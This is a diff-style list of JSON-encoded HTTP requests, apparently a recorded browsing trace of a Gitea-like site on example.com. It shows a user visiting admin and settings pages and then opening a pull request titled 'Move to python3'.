+{"method": "GET", "target": "/admin/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/auths", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/config/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/monitor/stats", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/monitor/queue", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/monitor/cron", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/gogs.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/feishu.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/slack.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/discord.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/telegram.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/dingtalk.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/msteams.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/wechatwork.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/packagist.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/sourcehut.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/notices", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/2", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/account", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/security", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/keys", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=stars", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/acme", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/settings/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/settings/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/settings/units", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/migrate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=890deb73026afc5f; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 764", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaGATihSdXZHYz0ae", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nMove to python3\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nPorts the scripts.\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"redirect_after_creation\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae--\r\n"}
+{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 37", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fpulls%2F2"}
+{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues/2/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/pull-request-merge-form.08cfd3a0.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/pull-request-merge-form.8413f096.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
